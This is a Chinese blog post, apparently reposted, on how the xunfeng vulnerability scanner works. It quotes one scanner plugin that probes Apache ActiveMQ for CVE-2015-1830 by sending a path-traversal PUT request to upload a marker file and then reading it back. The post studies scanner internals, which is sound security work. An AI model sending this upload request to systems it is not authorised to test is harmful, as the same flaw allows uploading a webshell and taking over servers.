zoukankan      html  css  js  c++  java
  • 漏扫是如何做的?——从xunfeng源码看漏扫原理

    来自:https://blog.csdn.net/sojrs_sec/article/details/103368463,后面我会加单独的的分析。

    以前搭建过好几次xunfeng,也看过几次他的源码,最近团队准备做巡风的二次开发,就要再好好看下他的源码了,我们知道巡风主要有两个功能,资产发现和漏洞扫描,我主要负责漏洞扫描这块,就先简单记录下这块的大致流程

    一:看源码tip
    看源码,第一步看他的启动程序,可以看run.sh,巡风的启动程序主要就五块
    mongodb启动:这里mongodb可以直接用二进制文件启动,导入导出,默认启动在本地的65521端口
    web.py启动:flask启动网页
    Nascan: 资产扫描
    Vulscan:漏洞扫描
    Aider:辅助模块,还不了解


    二: vulscan流程
    就上个我看源码的时候画的图吧

    总的来说,其实巡风源码还是很简单的,过程看上图就可以,就讲下我自己对巡风的感觉
    1: 巡风的资产扫描和漏洞扫描都是基于数据库中特定字段的改变,会有心跳线程,就是上面的monitor(),不断的去检查数据库中字段。用户在页面上的操作,都是先改变数据库内容而已。所以比如开启某个漏扫任务,可能没法马上开始
    2: 从数据库字段中可以看到,原来团队应该打算跟定时周期扫描资产一样,做一个定时周期扫描漏洞的功能,在页面上没有这个功能,接下来我这边会加一下这个功能
    想想好像源码也没啥好说的。。还是比较简单的

    ---------------------------------------------

    看看源码vuldb,

    # coding:utf-8
    import socket
    import time
    import urllib2
    import random
    
    def get_plugin_info():
        plugin_info = {
            "name": "ActiveMQ unauthenticated RCE",
            "info": "CVE-2015-1830,攻击者通过此漏洞可直接上传webshell,进而入侵控制服务器。",
            "level": "紧急",
            "type": "任意文件上传",
            "author": "wolf@YSRC",
            "url": "http://cve.scap.org.cn/CVE-2015-1830.html",
            "keyword": "title:ActiveMQ",
            "source": 1
        }
        return plugin_info
    
    def random_str(len):
        str1 = ""
        for i in range(len):
            str1 += (random.choice("ABCDEFGH1234567890"))
        return str1
    
    def check(ip, port, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, port))
            filename = random_str(6)
            flag = "PUT /fileserver/sex../../..\styles/%s.txt HTTP/1.0
    Content-Length: 9
    
    xxscan0
    
    "%(filename)
            s.send(flag)
            time.sleep(1)
            s.recv(1024)
            s.close()
            url = 'http://' + ip + ":" + str(port) + '/styles/%s.txt'%(filename)
            res_html = urllib2.urlopen(url, timeout=timeout).read(1024)
            if 'xxscan0' in res_html:
                return u"存在任意文件上传漏洞," + url
        except:
            pass 

    可以看到和IPS签名匹配是一样的。再看几个:TODO,网太渣了。。。

  • 相关阅读:
    10个对Web开发者最有用的Python包
    9款最好的JavaScript压缩工具
    推荐15款制作 SVG 动画的 JavaScript 库
    2016年最好的15个Web设计和开发工具
    整理六百篇web前端知识混总
    9款免费的跨浏览器测试工具
    9个有用的和免费的工具来支持动态网页开发
    8个基本的引导工具的网页设计师
    11款CSS3动画工具的开发
    2016年某前端群题目答案参考
  • 原文地址:https://www.cnblogs.com/bonelee/p/15185335.html
Copyright © 2011-2022 走看看